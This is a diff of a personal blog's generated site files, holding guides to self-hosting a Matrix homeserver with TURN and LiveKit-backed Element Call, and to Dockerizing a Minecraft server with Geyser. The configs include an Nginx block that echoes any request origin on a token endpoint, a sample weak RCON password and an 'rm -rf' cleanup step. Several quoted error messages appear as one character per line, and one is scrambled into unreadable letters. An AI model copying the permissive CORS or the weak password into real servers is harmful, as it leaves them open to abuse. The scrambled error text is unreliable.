    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    + + + +
    + + + +A +F +c +e +c +t +e +c +s +h +s +- +A +C +P +o +I +n +t +c +r +a +o +n +l +n +- +o +A +t +l +l +l +o +o +w +a +- +d +O +r +h +i +t +g +t +i +p +n +s +: +c +/ +a +/ +n +r +n +t +o +c +t +. +e +c +x +o +a +n +m +t +p +a +l +i +e +n +. +c +m +o +o +m +r +/ +e +s +f +t +u +h +/ +a +g +n +e +t +o +n +d +e +u +e +o +r +t +i +o +g +i +a +n +c +. +c +e +s +s +c +o +n +t +r +o +l +c +h +e +c +k +s +. + + + + +
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +]]>
    \ No newline at end of file diff --git a/public/tags/livekit/page/1/index.html b/public/tags/livekit/page/1/index.html new file mode 100644 index 0000000..7fbaffe --- /dev/null +++ b/public/tags/livekit/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/livekit/ + \ No newline at end of file diff --git a/public/tags/lvm/index.html b/public/tags/lvm/index.html new file mode 100644 index 0000000..4a74223 --- /dev/null +++ b/public/tags/lvm/index.html @@ -0,0 +1,10 @@ +Lvm | AlipourIm journeys +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/lvm/index.xml b/public/tags/lvm/index.xml new file mode 100644 index 0000000..8265e94 --- /dev/null +++ b/public/tags/lvm/index.xml @@ -0,0 +1,259 @@ +Lvm on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/lvm/Recent content in Lvm on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    + + + +
    + + + + +/ +d +e +v +/ +m +a +p +p +e +r +/ +u +b +u +n +t +u +- +- +v +g +- +v +a +r +3 +. +9 +G +3 +. +4 +G +3 +3 +3 +M +9 +2 +% +v +a +r + + + + +
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    + + + +
    + + + +S +t +a +r +t +i +n +g +m +i +n +e +c +r +a +f +t +s +e +r +v +e +r +v +e +r +s +i +o +n +1 +. +2 +1 +. +9 +P +r +e +- +R +e +l +e +a +s +e +2 + + + + +
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +]]>
    \ No newline at end of file diff --git a/public/tags/lvm/page/1/index.html b/public/tags/lvm/page/1/index.html new file mode 100644 index 0000000..cd96b77 --- /dev/null +++ b/public/tags/lvm/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/lvm/ + \ No newline at end of file diff --git a/public/tags/matrix/index.html b/public/tags/matrix/index.html new file mode 100644 index 0000000..c14de73 --- /dev/null +++ b/public/tags/matrix/index.html @@ -0,0 +1,12 @@ +Matrix | AlipourIm journeys +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 9 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/matrix/index.xml b/public/tags/matrix/index.xml new file mode 100644 index 0000000..53ae92e --- /dev/null +++ b/public/tags/matrix/index.xml @@ -0,0 +1,639 @@ +Matrix on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/matrix/Recent content in Matrix on AlipourIm journeysHugo -- 0.146.0enTue, 26 Aug 2025 00:00:00 +0000Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    + + + +
    + + + +D +a +t +a +b +a +s +e +h +a +s +i +n +c +o +r +r +e +c +t +c +o +l +l +a +t +i +o +n +o +f +' +e +n +_ +U +S +. +u +t +f +8 +' +. +S +h +o +u +l +d +b +e +' +C +' + + + + +
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    + + + +
    + + + +E +R +R +O +R +: +U +n +k +n +o +w +n +b +o +o +l +e +a +n +v +a +l +u +e +: +# +l +o +g +t +o +j +o +u +r +n +a +l +d +/ +s +y +s +l +o +g +. +Y +o +u +c +a +n +u +s +e +o +n +/ +o +f +f +, +y +e +s +/ +n +o +, +1 +/ +0 +, +t +r +u +e +/ +f +a +l +s +e +. + + + + +
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    + + + +
    + + + +A +F +c +e +c +t +e +c +s +h +s +- +A +C +P +o +I +n +t +c +r +a +o +n +l +n +- +o +A +t +l +l +l +o +o +w +a +- +d +O +r +h +i +t +g +t +i +p +n +s +: +c +/ +a +/ +n +r +n +t +o +c +t +. +e +c +x +o +a +n +m +t +p +a +l +i +e +n +. +c +m +o +o +m +r +/ +e +s +f +t +u +h +/ +a +g +n +e +t +o +n +d +e +u +e +o +r +t +i +o +g +i +a +n +c +. +c +e +s +s +c +o +n +t +r +o +l +c +h +e +c +k +s +. + + + + +
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
